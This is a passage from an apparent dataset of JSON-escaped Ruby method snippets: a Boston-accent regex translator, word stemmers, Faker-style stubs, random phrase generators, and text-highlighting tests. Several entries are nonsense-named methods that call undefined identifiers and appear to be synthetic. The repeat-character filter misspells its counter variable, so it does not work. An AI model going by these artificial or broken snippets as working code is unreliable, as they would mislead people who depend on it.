# rahya (wicked rahya steak)\\n phrase.gsub!(/\\\\b(r)apshah?\\\\b/i, '\\\\1apture') # rapsha (Jesus and/or Red Sox championship parades, either way)\\n phrase.gsub!(/\\\\b(r)awregg\\\\b/i, '\\\\1aw egg') # rawregg can give ya salmonella\\n phrase.gsub!(/\\\\b(r)eahview\\\\b/i, '\\\\1earview') # reahview (mirror)\\n phrase.gsub!(/\\\\b(r)emembah\\\\b/i, '\\\\1emember') # remembah (when govahment centah was open?)\\n phrase.gsub!(/\\\\breveah\\\\b/i, 'Revere') # Reveah (as in, Paul. or the beach. or from, kid!)\\n phrase.gsub!(/\\\\brotary\\\\b/i, 'traffic circle') # second left on tha rotary\\n\\n # S\\n phrase.gsub!(/\\\\bsangwich\\\\b/i, 'sandwich') # sangwich\\n phrase.gsub!(/\\\\bsa(dda|ti|tih|ta|tah|tuh)d(ay|ee)\\\\b/i, 'Saturday') # Satahday\\n phrase.gsub!(/\\\\bsat(a|i)hdiz\\\\b/i, 'Saturdays') # Satahdays\\n phrase.gsub!(/\\\\bskeeve(s|d)/i, 'grossed out') # skeeved out by hair in food, lemme tell ya\\n phrase.gsub!(/soah\\\\b/i, 'sore') # wicked soah from gettin swole at the gym, bro\\n phrase.gsub!(/\\\\b(s)o do(an|n'?t) i\\\\b/i, '\\\\1o do I') # So do(a)n't I!\\n phrase.gsub!(/\\\\bsouthie\\\\b/i, 'South Boston') # Southie\\n phrase.gsub!(/\\\\bspa\\\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\\n phrase.gsub!(/\\\\b(co|lode|mega|supah|)?stah\\\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\\n phrase.gsub!(/\\\\bsuppah?\\\\b/i, 'dinner') # suppah\\n phrase.gsub!(/\\\\bsweet caroline\\\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\\n\\n # T\\n phrase.gsub!(/\\\\bthe T\\\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \\\"unusable death trap\\\"\\n # \\\"theah\\\" is covered under \\\"h\\\" in the heah substitution\\n phrase.gsub!(/\\\\btah\\\\b/i, 'to') # tah (ready tah go!)\\n phrase.gsub!(/\\\\btawnic\\\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\\n phrase.gsub!(/\\\\btempasha(h)?\\\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\\n phrase.gsub!(/\\\\b(t)ha\\\\b/i, '\\\\1he') # tha\\n phrase.gsub!(/thah?\\\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \\\"ther\\\")\\n phrase.gsub!(/\\\\bthi(h)?d\\\\b/i, 'third') # stealin' thihd\\n phrase.gsub!(/\\\\bthree deckah?\\\\b/i, 'three story house') # usually three units\\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\\\1ture') # sha sound on end of certain \\\"ture\\\" ending words\\n\\n # U\\n phrase.gsub!(/(u)ndah/i, '\\\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\\n phrase.gsub!(/\\\\b(u)ey\\\\b/i, '\\\\1-turn') # U-turn\\n\\n # V\\n phrase.gsub!(/\\\\b(v)endah(s)\\\\b/i, '\\\\1endor') # vendah(s) (fenway franks, anybody?)\\n phrase.gsub!(/\\\\bvin(yihd|yahd)\\\\b/i, 'Martha\\\\'s Vineyard') # mahtha's vinyihd\\n phrase.gsub!(/\\\\b(fahv|fehv|flav|sav|surviv)ah\\\\b/i, '\\\\1or') # \\\"vah\\\" words that are \\\"vor\\\"\\n\\n # W\\n phrase.gsub!(/\\\\b(w)atah\\\\b/i, '\\\\1ater') # watah (as in \\\"love that dirty\\\")\\n phrase.gsub!(/\\\\bwah\\\\b/i, 'war') # wah\\n phrase.gsub!(/\\\\bWal(ltham|thumb)\\\\b/i, 'Waltham') # home of Brandeis\\n phrase.gsub!(/\\\\bwanna go\\\\?\\\\b/i, 'let\\\\'s fight outside') # wanna go?\\n phrase.gsub!(/\\\\b(w)e(eahd|eid|ahd|eihd)\\\\b/i, '\\\\1eird') # weeid\\n # wheah is covered under \\\"t\\\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\\n phrase.gsub!(/\\\\bwhole nothah?\\\\b/i, 'a complete replacement') # I gotta whole notha cah\\n phrase.gsub!(/\\\\bweah\\\\b/i, 'were') # wheah weah ya?\\n phrase.gsub!(/\\\\b(w)eathah\\\\b/i, '\\\\1eather') # wetheah (some weah havin!)\\n phrase.gsub!(/\\\\bwicked\\\\b/i, 'really') # wicked (wicked weeid kid)\\n phrase.gsub!(/\\\\bwuhst(u|a)h\\\\b/i, 'Worcester') # Worcester\\n\\n # X\\n\\n # Y\\n phrase.gsub!(/\\\\b(y)a\\\\b/i, '\\\\1ou') # ya goin to the game?\\n phrase.gsub!(/\\\\b(y)ar(?=\\\\s?i)/i, '\\\\1eah ') # yarit's awesome -> yeah it's awesome\\n phrase.gsub!(/\\\\b(y)oah\\\\b/i, '\\\\1our') # yoah\\n\\n # Z\\n\\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\\n # This will help translate commonly used words and broadly applicable use-cases. They are\\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\\n # uncommon/edge cases, you should get good results.\\n\\n phrase.gsub!(/atah(s)?\\\\b/i, 'ator\\\\1') # \\\"atah\\\" (words ending in \\\"ator\\\"...decoratah, delegatah)\\n phrase.gsub!(/(a)wl(l)?/i, '\\\\1l\\\\2') # \\\"awl\\\" (going to the mawll, fawllin' down, cawll ya mothah etc)\\n phrase.gsub!(/bah(s)?\\\\b/i, 'ber\\\\1') # \\\"bah\\\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\\n phrase.gsub!(/cah(s)?\\\\b/i, 'cer\\\\1') # \\\"cah\\\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\\n phrase.gsub!(/dah(s)?\\\\b/i, 'der\\\\1') # \\\"dah\\\" (words ending in dah...chowdah?).\\n phrase.gsub!(/eah(s)?\\\\b/i, 'ear\\\\1') # \\\"eah\\\" (words ending in eah...yeah, cleah)\\n phrase.gsub!(/fah(s)?\\\\b/i, 'fer\\\\1') # \\\"fah\\\" (words ending in fer...offah?).\\n phrase.gsub!(/gah(s)?\\\\b/i, 'ger\\\\1') # \\\"gah\\\" (words ending in ger...swaggah?).\\n phrase.gsub!(/ha(h)?(s)?\\\\b/i, 'her\\\\2') # \\\"gah\\\" (words ending in ger...swaggah?).\\n phrase.gsub!(/iah(d)?/i, 'ire\\\\1') # \\\"iahd\\\" (words ending in ire...tiahd, wiahd or ired...fiahd)\\n phrase.gsub!(/in'(?=\\\\z|\\\\s)/i, 'ing') # \\\"in'\\\" (words ending in ing...bring back the g!).\\n phrase.gsub!(/kah(s)?\\\\b/i, 'ker\\\\1') # \\\"kah\\\" (words ending in ker...smokah)\\n phrase.gsub!(/lah(s)?\\\\b/i, 'lar\\\\1') # \\\"lah\\\" (words ending in lar...molah, pillah)\\n phrase.gsub!(/mah(s)?\\\\b/i, 'mer\\\\1') # \\\"mah\\\" (words ending in mer...swimmah, homah)\\n phrase.gsub!(/nah(s)?\\\\b/i, 'ner\\\\1') # \\\"nah\\\" (words ending in ner...gonah, runnah)\\n phrase.gsub!(/layah(s)?\\\\b/i, 'lare\\\\1') # \\\"layah\\\" (words ending in lare..flayah, declayah)\\n phrase.gsub!(/(o)ah(s)?/i, '\\\\1re\\\\2') # \\\"oah\\\" (stoah, moah)\\n phrase.gsub!(/pah(s)?\\\\b/i, 'per\\\\1') # \\\"pah\\\" (words ending in \\\"pah\\\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\\n phrase.gsub!(/sah(s)?\\\\b/i, 'ser\\\\1') # \\\"sah\\\" (words ending in ser...think about ya usah in the browsah)\\n phrase.gsub!(/tah(s)?\\\\b/i, 'ter\\\\1') # \\\"tah\\\" (words ending in ter...watah)\\n phrase.gsub!(/uahd(s)?\\\\b/i, 'ured\\\\1') # \\\"uahd\\\" (words ending in ured...figuahd, injuahd)\\n phrase.gsub!(/vah(s)?\\\\b/i, 'ver\\\\1') # \\\"vah\\\" (words ending in ver...ovah, rivah)\\n phrase.gsub!(/wah(s)?\\\\b/i, 'wer\\\\1') # \\\"wah\\\" (words ending in wer...lawnmowah, towah)\\n phrase.gsub!(/xah(s)?\\\\b/i, 'xer\\\\1') # \\\"xah\\\" (words ending in xer...boxah, mixah)\\n phrase.gsub!(/yah(s)?\\\\b/i, 'yer\\\\1') # \\\"yah\\\" (words ending in yer...foyah, lawyah)\\n phrase.gsub!(/zah(s)?\\\\b/i, 'zer\\\\1') # \\\"zah\\\" (words ending in zer...organizah, seltzah)\\n\\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\\n phrase.gsub!(/ah(?!\\\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\\n\\n\\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\\n\\n phrase.gsub!(/\\\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\\n phrase.gsub!(/\\\\bYankees\\\\b/i, 'Yankees (suck!)') # Yankees suck okay?\\n phrase.gsub!(/\\\\bJohnny Damon\\\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\\n\\n puts \\\"They said: \\\" + phrase\\n\\n # Special \\\"How Boston Are YOU?\\\" Beantown Points score for experts! Only shows up for users who earn at least two points.\\n\\n if beantown_points >= 15\\n \\tputs \\\"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\\\"\\n elsif beantown_points < 15 && beantown_points >= 10\\n \\tputs \\\"How Boston Are YOU?: Solid work! You probably yell \\\\\\\"Yankees Suck\\\\\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\\\"\\n elsif beantown_points < 10 && beantown_points >= 5\\n \\tputs \\\"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\\\"\\n elsif beantown_points >=2 && beantown_points < 5\\n \\tputs \\\"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\\\"\\n end\\n\\n play_again\\n\\nend\",\n \"def kids_musical; end\",\n \"def biome; end\",\n \"def do_process(ps )\\n word = nil\\n buf = \\\"\\\"\\n tokens = ps.sentence.split(/[ \\\\t]/)\\n \\n for word in tokens do\\n #문자열의 길이가 최대 허용치보다 길다면...\\n if word.length() > REPEAT_CHAR_ALLOWED then\\n repaedCnt = 0\\n checkChar = word[0]\\n \\n buf << checkChar\\n \\n for i in 1..(word.length-1) do\\n if checkChar == word[i] then\\n if repaetCnt == (REPEAT_CHAR_ALLOWED-1) then\\n buf << \\\" \\\"\\n buf << word[i]\\n repeatCnt = 0\\n else\\n buf << word[i]\\n repeadCnt +=1\\n end\\n else\\n if checkChar == \\\".\\\" then\\n buf << \\\" \\\"\\n end\\n \\n buf << word[i]\\n checkChar = word[i]\\n repeadCnt = 0\\n end\\n end\\n else\\n buf << word\\n end\\n buf << \\\" \\\"\\n end\\n ps.sentence=buf\\n return ps\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def stem_porter\\n\\n # make a copy of the given object and convert it to a string.\\n w = self.dup.to_str\\n \\n return w if w.length < 3\\n \\n # now map initial y to Y so that the patterns never treat it as vowel\\n w[0] = 'Y' if w[0] == ?y\\n \\n # Step 1a\\n if w =~ /(ss|i)es$/\\n w = $` + $1\\n elsif w =~ /([^s])s$/ \\n w = $` + $1\\n end\\n\\n # Step 1b\\n if w =~ /eed$/\\n w.chop! if $` =~ MGR0 \\n elsif w =~ /(ed|ing)$/\\n stem = $`\\n if stem =~ VOWEL_IN_STEM \\n w = stem\\n\\tcase w\\n when /(at|bl|iz)$/ then w << \\\"e\\\"\\n when /([^aeiouylsz])\\\\1$/ then w.chop!\\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \\\"e\\\"\\n end\\n end\\n end\\n\\n if w =~ /y$/ \\n stem = $`\\n w = stem + \\\"i\\\" if stem =~ VOWEL_IN_STEM \\n end\\n\\n # Step 2\\n if w =~ SUFFIX_1_REGEXP\\n stem = $`\\n suffix = $1\\n # print \\\"stem= \\\" + stem + \\\"\\\\n\\\" + \\\"suffix=\\\" + suffix + \\\"\\\\n\\\"\\n if stem =~ MGR0\\n w = stem + STEP_2_LIST[suffix]\\n end\\n end\\n\\n # Step 3\\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\\n stem = $`\\n suffix = $1\\n if stem =~ MGR0\\n w = stem + STEP_3_LIST[suffix]\\n end\\n end\\n\\n # Step 4\\n if w =~ SUFFIX_2_REGEXP\\n stem = $`\\n if stem =~ MGR1\\n w = stem\\n end\\n elsif w =~ /(s|t)(ion)$/\\n stem = $` + $1\\n if stem =~ MGR1\\n w = stem\\n end\\n end\\n\\n # Step 5\\n if w =~ /e$/ \\n stem = $`\\n if (stem =~ MGR1) ||\\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\\n w = stem\\n end\\n end\\n\\n if w =~ /ll$/ && w =~ MGR1\\n w.chop!\\n end\\n\\n # and turn initial Y back to y\\n w[0] = 'y' if w[0] == ?Y\\n\\n w\\n end\",\n \"def step1(str)\\n r1,r2 = r12(str)\\n r1_text = str[r1..-1]\\n r2_text = str[r2..-1]\\n\\n case r2_text\\n when /(anzas?|ic[oa]s?|ismos?|[ai]bles?|istas?|os[oa]s?|[ai]mientos?)$/i\\n str[%r{#$&$}]=''\\n return true\\n when /(ic)?(ador([ae]s?)?|aci[óÓ]n|aciones|antes?|ancias?)$/ui\\n str[%r{#$&$}]=''\\n return true\\n when /log[íÍ]as?/ui\\n str[%r{#$&$}]='log'\\n return true\\n when /(uci([óÓ]n|ones))$/ui\\n str[%r{#$&$}]='u'\\n return true\\n when /(encias?)$/i\\n str[%r{#$&$}]='ente'\\n return true\\n end\\n\\n if r2_text =~ /(ativ|iv|os|ic|ad)amente$/i or r1_text =~ /amente$/i\\n str[%r{#$&$}]=''\\n return true\\n end\\n\\n case r2_text\\n when /((ante|[ai]ble)?mente)$/i, /((abil|i[cv])?idad(es)?)$/i, /((at)?iv[ao]s?)$/i\\n str[%r{#$&$}]=''\\n return true\\n end\\n false\\n end\",\n \"def future_passive_participle\\n mybase = participial_stem+\\\"nd\\\"\\n singular_endings=%w(us a um)\\n return singular_endings.collect{|x|Linguistics::Latin::Phonographia.fix_macrons( mybase+\\\"#{x}\\\".chomp)}.join(', ')\\n end\",\n \"def obfuscate(text); end\",\n \"def most_interesting_man_in_the_world; end\",\n \"def mermithization_unstrictured_hersed()\\n technonomy(wrangler)\\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\\n end\",\n \"def get_adjective\\n\\t\\t[\\\"pretty\\\", \\\"ugly\\\", \\\"hideous\\\"].sample\\n\\tend\",\n \"def nasa_space_craft; end\",\n \"def meme_phrase; end\",\n \"def get_trite_disc_nickname\\n adjectives=\\n [ \\\"astounding\\\",\\n \\\"batshit\\\",\\n \\\"benign\\\",\\n \\\"cracked\\\",\\n \\\"creased\\\",\\n \\\"crunched\\\",\\n \\\"crippled\\\",\\n \\\"crushed\\\",\\n \\\"dismayed\\\",\\n \\\"doomed\\\",\\n \\\"flamenco-dancing\\\",\\n \\\"folded\\\",\\n \\\"harmless\\\",\\n \\\"hazed\\\",\\n \\\"inebriated\\\",\\n \\\"inert\\\",\\n \\\"malignant\\\",\\n \\\"maligned\\\",\\n \\\"marbled\\\",\\n \\\"mutilated\\\",\\n \\\"oblate\\\",\\n \\\"obnoxious\\\",\\n \\\"obsolete\\\",\\n \\\"pathetic\\\",\\n \\\"particular\\\",\\n \\\"polycarbonate\\\",\\n \\\"perky\\\",\\n \\\"sad\\\",\\n \\\"scored\\\",\\n \\\"scratched\\\",\\n \\\"screwy\\\",\\n \\\"scuffed\\\",\\n \\\"soul-crushing\\\",\\n \\\"spindled\\\",\\n \\\"spiralled\\\",\\n \\\"splattered\\\",\\n \\\"toothpaste-covered\\\",\\n \\\"unbalanced\\\",\\n \\\"verboten\\\",\\n \\\"wafer-thin\\\"\\n ]\\n\\n nouns =\\n [ \\\"artifact\\\",\\n \\\"chunk of your past\\\",\\n \\\"disc\\\",\\n \\\"donut\\\",\\n \\\"frisbee\\\",\\n \\\"hocky puck\\\",\\n \\\"orblette\\\"]\\n \\n description = adjectives.sample\\n\\n while [true,false].sample do\\n adj = adjectives.sample\\n if !description.include? adj\\n description+=\\\", \\\"+adj\\n end\\n end\\n\\n description+=\\\" \\\"+nouns.sample\\nend\",\n \"def remanet(concupiscibleness, torve_resack)\\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\\n antispadix_provencalize(galactophthysis, saintlike)\\n japheth(auresca, squamatine, vitalist_pheal)\\n end\",\n \"def mis_ramos\\n\\n\\tend\",\n \"def terpene; end\",\n \"def wookiee_sentence; end\",\n \"def in_law; end\",\n \"def word\\n i = rand(78)\\n if i <= 2\\n \\\"ie\\\"\\n elsif i <= 3\\n \\\"au\\\"\\n elsif i < 10\\n v + c\\n elsif i < 17\\n c + v\\n elsif i < 25\\n v + c + v\\n elsif i < 33\\n c + v + c\\n elsif i < 43\\n v + c + v + c\\n elsif i < 53\\n c + v + c + v\\n elsif i < 68\\n v + c + v + c + v\\n elsif i < 71\\n c + v + c + v + c\\n elsif i < 74\\n v + c + v + c + v + c\\n elsif i < 76\\n c + v + c + v + c + v\\n elsif i < 77\\n v + c + v + c + v + c + v\\n elsif i <= 78\\n c + v + c + v + c + v + c\\n end\\nend\",\n \"def catch_phrase\\n [\\n [\\\"ninja\\\",\\\"master\\\",\\\"student\\\"].rand, \\n [\\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"weapons\\\", \\\"s' 3rd annual\\\",\\\"s' 5th annual\\\",\\\"s' 10th annual\\\", \\\"s' secret\\\"].rand,\\n [\\\"gathering\\\",\\\"celebration\\\",\\\"meeting\\\",\\\"tournament\\\",\\\"competition\\\",\\\"party\\\",\\\"training camp\\\",\\\"sparring event\\\"].rand,\\n [\\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"with Leonardo\\\", \\\"with Raphael\\\", \\\"with Michaelangelo\\\", \\\"with Donatello\\\"].rand\\n ].join(' ').gsub(/ s\\\\'/,'s\\\\'').gsub(/\\\\s\\\\s/,' ').strip\\n end\",\n \"def schumann; end\",\n \"def motto; end\",\n \"def romeo_and_juliet_quote; end\",\n \"def scientist; end\",\n \"def bs\\n [\\n [\\\"реализации\\\", \\\"использовать\\\", \\\"интеграция\\\", \\\"рационализации\\\", \\\"оптимизация\\\", \\\"развиваться\\\", \\\"преобразовать\\\", \\\"объятия\\\", \\\"включить\\\", \\\"организовать\\\", \\\"рычаг\\\", \\\"изобретать\\\", \\\"агрегат \\\",\\\" архитектор \\\",\\\" повысить \\\",\\\" стимулирования \\\",\\\" морфинг \\\",\\\" расширение прав и возможностей \\\",\\\" envisioneer \\\",\\\" монетизировать \\\",\\\" запрягать \\\",\\\" содействовать \\\",\\\" захват \\\",\\\" disintermediate\\\", \\\"развернуть\\\", \\\"бренд\\\", \\\"расти\\\", \\\"цель\\\", \\\"синдикат\\\", \\\"синтез\\\", \\\"доставить\\\", \\\"сетка\\\", \\\"высиживать\\\", \\\"заниматься\\\", \\\"максимально\\\", \\\" увидеть \\\",\\\" перепрофилирование \\\",\\\" инновации \\\",\\\" масштаб \\\",\\\" развязать \\\",\\\" драйв \\\",\\\" расширить \\\",\\\" инженер \\\",\\\" революцию \\\", \\\"генерировать\\\", \\\"эксплуатировать\\\", \\\"переход\\\", \\\"д включить\\\", \\\"перебора\\\", \\\"возделывать\\\", \\\"матрица\\\", \\\"пересмотреть\\\"].rand,\\n [\\\"кликов и минометных\\\", \\\"добавленную стоимость\\\", \\\"вертикальная\\\", \\\"активный\\\", \\\"надежный\\\", \\\"революционный\\\", \\\"масштабируемый\\\", \\\"передовые\\\", \\\"инновационный\\\", \\\"интуитивной\\\"].rand,\\n [\\\"взаимодействие\\\", \\\"веб-готовность\\\", \\\"парадигм\\\", \\\"рынки\\\", \\\"партнерские\\\", \\\"инфраструктура\\\", \\\"платформ\\\", \\\"инициатив\\\", \\\"каналы\\\", \\\"глаза\\\", \\\"общины\\\", \\\"рентабельность\\\", \\\"решения\\\", \\\"интернет-магазинах», «электронных услуг», «действие пунктов\\\", \\\"порталы\\\", \\\"ниши\\\", \\\"технологии\\\", \\\"содержание\\\"].rand\\n ].join(' ')\\n end\",\n \"def malts; end\",\n \"def buzzword; end\",\n \"def buzzword; end\",\n \"def pectoralis_stretch\\n \\\"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\\\"\\nend\",\n \"def indefinite_possessive_pronoun\\n return \\\"its\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def therapist_quest; end\",\n \"def ninety_nine_bottles_of_beer\\nend\",\n \"def ninety_nine_bottles_of_beer\\nend\",\n \"def ninety_nine_bottles_of_beer\\nend\",\n \"def cracklepop1\\n def aux x\\n /[A-Z]+/i.match(x.to_s).to_s\\n end\\n (1..100).map do |i|\\n x = i%3==0 ? 'crackle' : i\\n i%5==0 ? (aux(x)+'pop') : x\\n end\\nend\",\n \"def indefinite_personal_subjective_pronoun\\n return \\\"it\\\"\\n end\",\n \"def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\\n unsuckled_catsup(apterygota, unfightable_phoneticist)\\n end\",\n \"def war_sword # todo: check this matches when 5 are bought\\n Regexp.new s_to_h(<<-S)\\n B1 96 B1 D3 ED AE 5F 92 02 66 03 01 .. FF FF FF\\n FF .. .. .. .. 31 19 01 0B 01 00 00 00 10 00 00\\n 00 4E 00 00 00 00 00 00 00 01 00 00 00 00 00 00\\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\\n 43 9F 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\\n 00\\n S\\nend\",\n \"def catch_phrase\\n [\\n [\\\"Фирма1\\\", \\\"Суперфирма\\\", \\\"Фирма3\\\", \\\"ПанСамСклепав\\\"].rand,\\n [\\\"24 часа\\\", \\\"24/7\\\", \\\"круглосуточно\\\", \\\"3 года на рынке\\\"].rand,\\n [\\\"доступно\\\", \\\"быстро\\\", \\\"надежно\\\"].rand\\n ].join(' ')\\n end\",\n \"def convertToBoard(text)\\n response=text\\n\\n responseArray=response.split(\\\" \\\")\\n # responseArray = Capture.find(:all)\\n responseArray.delete('and')\\n # responseArray.reject! { |item| item.text =~ 'and' }\\n puts response.size\\n puts responseArray.size\\n if responseArray.size==1\\n if response.size<=4\\n response=response.upcase\\n else \\n puts \\\"shortening response\\\"\\n response=response[0..3].upcase\\n end\\n elsif responseArray.size==2\\n if not is_num(responseArray[1])\\n if responseArray[0].size<=3\\n response=responseArray[0][0..responseArray[0].size].upcase + responseArray[1][0].upcase\\n else\\n response=responseArray[0][0..2].upcase + responseArray[1][0].upcase\\n end\\n else\\n if responseArray[1].size>=2\\n response=responseArray[0][0..1].upcase + responseArray[1][responseArray[1].size-3..responseArray[1].size-1]\\n else\\n response=responseArray[0][0..1].upcase + responseArray[1][0..responseArray[1].size-1]\\n end\\n end\\n else\\n puts\\\"size invalid\\\"\\n response=responseArray[0][0].upcase+responseArray[1][0].upcase+responseArray[2][0].upcase\\n end\\n return response\\nend\",\n \"def termsig(*) end\",\n \"def reverberate(sent)\\n new_arr = []\\n words_arr = sent.split(\\\" \\\")\\n vowels = \\\"aeiouAEIOU\\\"\\n words_arr.each do |word|\\n capt = false\\n if word.capitalize == word\\n capt = true\\n end\\n if word.length < 3\\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\\n elsif vowels.include?(word[-1])\\n new_arr << (capt ? (word * 2).capitalize : word * 2)\\n elsif !vowels.include?(word[-1])\\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\\n i = word.length - 1 - rev_index\\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\\n end\\n end\\n new_arr.join(\\\" \\\")\\nend\",\n \"def job\\r\\n\\r\\n a = \\\"闻》4月27日报道】题：中国军机展开前所未有的威吓飞行 据多名政府高官26日透露，就在中国8艘海监船23日侵入尖阁诸岛（即我钓鱼岛及其附属岛屿——本网注）周边日本领海的同时，中国的战斗机等军用飞机在尖阁诸岛周边飞行超过40架次。 军用飞机多数是战斗机，中国投入了新型苏-27和苏-30。这些战斗机趁航空自卫队战斗机飞行员疲惫的时候蜂拥而至。政府高官称这是“前所未有的威吓”。 政府方面认为中国军机的威吓飞行是为了配合海监船侵入领海。 中国军机从上空对海上保安厅的防范态势和海上自卫队护卫舰、P-3C巡逻机的部署进行侦察，估计向海监船进行了通报。 23日上午7时23分至8时25分左右，8艘海监船相继进入尖阁周边海域。其中一艘逼近鱼钓岛（即我钓鱼岛——本网注）西北约一公里处。当日下午7时半左右，8艘海监船离开了日本领海。 在海监船侵入领海之际，中国的战斗机等军用飞机也开始朝尖阁周边飞去。这些飞机交替着逼近尖阁周边上空，每次逼近时航空自卫队那霸基地的F-15等战斗机就紧急出动。飞来的中国军机总共在40架次以上。 \\\"\\r\\n # a = \\\"In the above outline, expression is a Ruby expression \\r\\n # The ruby code here marker is where the code to executed \\r\\n # the expression evaluates to false.\\\"\\r\\n # xx <span>the</span> xx bbbb the xxxx the bb\\r\\n # 0123456789012345678901234567890123456789\\r\\n # a = \\\"xx the xx bbbb the xxxx the bb\\\"\\r\\n kw = \\\"中国\\\"\\r\\n # kw = \\\"the\\\"\\r\\n r = /#{kw}/\\r\\n marker = 0\\r\\n t1 = \\\"<span style='color: blue;'>\\\"\\r\\n t2 = \\\"</span>\\\"\\r\\n counter = 0\\r\\n maxnum = 3\\r\\n \\r\\n logout(\\\"====================================\\\")\\r\\n logout(\\\"a=\\\" + a)\\r\\n logout(\\\"Span added=\\\" + add_span(a, kw, t1, t2))\\r\\n \\r\\n # puts \\\"a=\\\" + a\\r\\n # puts\\r\\n # \\r\\n # puts add_span(a, kw, t1, t2)\\r\\n # puts\\r\\n \\r\\n # # 1\\r\\n # puts \\\"<1>\\\"\\r\\n # \\r\\n # puts \\\"r =~ a\\\"\\r\\n # puts r =~ a\\r\\n # \\r\\n # # 2\\r\\n # puts \\\"<2>\\\"\\r\\n # puts a\\r\\n # while r =~ a[marker..(a.size - 1)] && counter < maxnum do\\r\\n # \\r\\n # puts \\\"[Start while]========================\\\"\\r\\n # \\r\\n # puts \\\"marker=\\\" + marker.to_s\\r\\n # \\r\\n # # point = (r =~ a)\\r\\n # point = (r =~ a[marker..(a.size - 1)])\\r\\n # puts \\\"point=\\\" + point.to_s\\r\\n # puts\\r\\n # \\r\\n # puts \\\"a=\\\" + a\\r\\n # puts\\r\\n # \\r\\n # puts \\\"a[marker..(a.size - 1)]=\\\" + a[marker..(a.size - 1)]\\r\\n # puts\\r\\n # \\r\\n # \\r\\n # \\r\\n # a.insert(marker + point, t1)\\r\\n # a.insert(marker + point + t1.size + r.source.size, t2)\\r\\n # # a.insert(point, t1)\\r\\n # # a.insert(point + t1.size + r.source.size, t2)\\r\\n # \\r\\n # puts \\\"a=\\\" + a\\r\\n # puts\\r\\n # \\r\\n # marker += point + t1.size + r.source.size + t2.size\\r\\n # # marker = point + t1.size + r.source.size + t2.size\\r\\n # # marker = point + t1.size + r.source.size\\r\\n # # marker = point\\r\\n # \\r\\n # counter += 1\\r\\n # \\r\\n # puts \\\"marker=\\\" + marker.to_s\\r\\n # puts \\\"point=\\\" + point.to_s\\r\\n # puts\\r\\n # \\r\\n # puts \\\"[End while========================]\\\"\\r\\n # \\r\\n # end\\r\\n # \\r\\n # puts a\\r\\n \\r\\n \\r\\nend\",\n \"def hermes_catchphrase; end\",\n \"def dictator_Iraq\\n puts \\\"Saddam formally rose to power in 1979, although he had been the de facto head\\n of Iraq for several years prior. Within his own country, he suppressed\\n his own citizens, particularly the Shi'a and Kurdish people. He also maintained\\n power during the Iran–Iraq War and the Gulf War, and was accused of using\\n chemical weapons. To alleviate the threat of revolution, Saddam afforded\\n certain benefits to the potentially hostile population. Membership in the\\n 